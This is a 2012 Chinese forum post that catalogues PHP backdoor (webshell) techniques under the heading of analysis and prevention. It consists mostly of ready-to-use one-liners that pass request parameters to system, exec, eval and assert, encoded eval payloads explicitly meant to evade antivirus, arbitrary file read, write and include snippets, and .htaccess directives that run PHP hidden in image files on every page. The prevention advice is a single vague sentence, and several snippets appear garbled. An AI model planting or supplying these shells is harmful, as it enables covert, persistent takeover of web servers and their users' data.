华彦 發表於 2012-4-25 15:54:18

php后门木马常用命令分析与防范

php后门木马常用的函数大致上可分为四种类型: <br />  1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open <br />  2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13 <br />  3. 文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite <br />  4. .htaccess: SetHandler, auto_prepend_file, auto_append_file <br /><br />  1. 执行系统命令: <br />  system 函数 <br />  //test.php?cmd=ls <br />  system($_GET); <br />  passthru 函数 <br />  //test.php?cmd=ls <br />  passthru($_GET); <br />  shell_exec 函数 <br />  //test.php?cmd=ls <br />  echo shell_exec($_GET); <br />  exec 函数 <br />  //test.php?cmd=ls <br />  $arr = array(); <br />  exec($_GET,$arr); <br />  print_r($arr); <br />  popen 函数 <br />  //test.php?cmd=ls <br />  $handle = popen('$_GET, 'r'); <br />  $read = fread($handle, 2096); <br />  echo $read; <br />  pclose($handle); <br />  proc_open 函数 <br />  //test.php?cmd=ls <br />  $descriptorspec = array( <br />  0 =&gt; array('pipe', 'r'), <br />  1 =&gt; array('pipe', 'w'), <br />  2 =&gt; array('pipe', 'w'), <br />  ); <br />  $proc = @proc_open($_GET, $descriptorspec, $pipes); <br />  fclose($pipes); <br />  $output = array(); <br />  while (!feof($pipes)) array_push($output, rtrim(fgets($pipes,1024),&quot;\n&quot;)); <br />  print_r($output); <br />  2. 代码执行与加密: <br />  eval 函数 <br />  //最常见的一句话木马 <br />  eval($_POST); <br />  base64_decode 函数 <br />  //为了免杀及隐藏而加密代码 <br />  //密文: eval($_POST['cmd']); <br />  eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs=')); <br />  gzinflate 函数 <br />  //为了免杀及隐藏而加密代码 <br />  //密文: eval($_POST['cmd']); <br />  eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA=='))); <br />  gzuncompress 函数 <br />  //为了免杀及隐藏而加密代码 <br />  //密文: eval($_POST['cmd']); <br />  eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA=='))); <br />  gzdecode 函数 <br />  //为了免杀及隐藏而加密代码 <br />  //密文: eval($_POST['cmd']); <br />  eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA=='))); <br />  str_rot13 函数 <br />  //为了免杀及隐藏而加密代码 <br />  //密文: eval($_POST); <br />  eval(str_rot13('riny($_CBFG);')); <br />  assert 函数 <br />  //类似eval函数 <br />  assert($_POST); <br />  call_user_func 函数 <br />  //使用call_user_func调用assert <br />  call_user_func('assert',$_POST); <br />  call_user_func 函数 <br />  //使用call_user_func调用任意函数 <br />  //test.php?a=assert&amp;cmd=phpinfo() <br />  call_user_func($_GET,$_REQUEST); <br />  组合代码 <br />  //组合方式调用任意函数 <br />  //test.php?a=assert&amp;cmd=phpinfo() <br />  $_GET($_REQUEST); <br />  3. 文件包含与生成: <br />  require 函数 <br />  //包含任意文件 <br />  //test.php?file=123.jpg <br />  require($_GET); <br />  require_once 函数 <br />  //包含任意文件 <br />  //test.php?file=123.jpg <br />  require_once($_GET); <br />  include 函数 <br />  //包含任意文件 www.chnhack.com <br />  //test.php?file=123.jpg <br />  include($_GET); <br />  include_once 函数 <br />  //包含任意文件 <br />  //test.php?file=123.jpg <br />  include_once($_GET); <br />  file_get_contents 函数 <br />  //读取任意文件 <br />  //test.php?f=config.inc.php <br />  echo file_get_contents($_GET['f']); <br />  file_put_contents 函数 <br />  //生成任意内容文件 <br />  //a=test.php&amp;b= <br />  file_put_contents($_GET,$_GET); <br />  fputs 函数 <br />  //生成任意内容文件 <br />  //a=test.php&amp;b= <br />  fputs(fopen($_GET,&quot;w&quot;),$_GET); <br />  4. .htaccess: <br />  SetHandler <br />  //可将php代码存于非php后缀文件,例: x.jpg <br />  //将以下代码写入.htaccess中 <br />  //连接x.jpg即可启动后门木马出处www.admin8.us <br />   <br />  SetHandler application/x-httpd-php <br />   <br />  auto_prepend_file <br />  //可将php代码存于非php后缀文件,例: 123.gif <br />  //将以下代码写入.htaccess中, 文件路径必须是绝对路径 <br />  //访问网站上任何php文件都会启动该php后门木马 <br />  //可在不更改站点源代码的情况下记录所有$_REQUEST的值,也可批量挂马 <br />  php_value auto_prepend_file c:/apache2/htdocs/123.gif <br />  auto_append_file <br />  //类似auto_prepend_file <br />  //可将php代码存于非php后缀文件,例: 123.gif <br />  //将以下代码写入.htaccess中, 文件路径必须是绝对路径 <br />  //访问网站上任何php文件都会启动该php后门木马 <br />  php_value auto_append_file c:/apache2/htdocs/123.gif <br />本文由A8站长网首发<br /><br />防范:这里就简单的介绍下防范,通过php.ini屏蔽一些命令,服务器做好安全配置,定期查找网站后门。 具体的软件可以到s.jb51.net下载使用
頁: [1]
查看完整版本: php后门木马常用命令分析与防范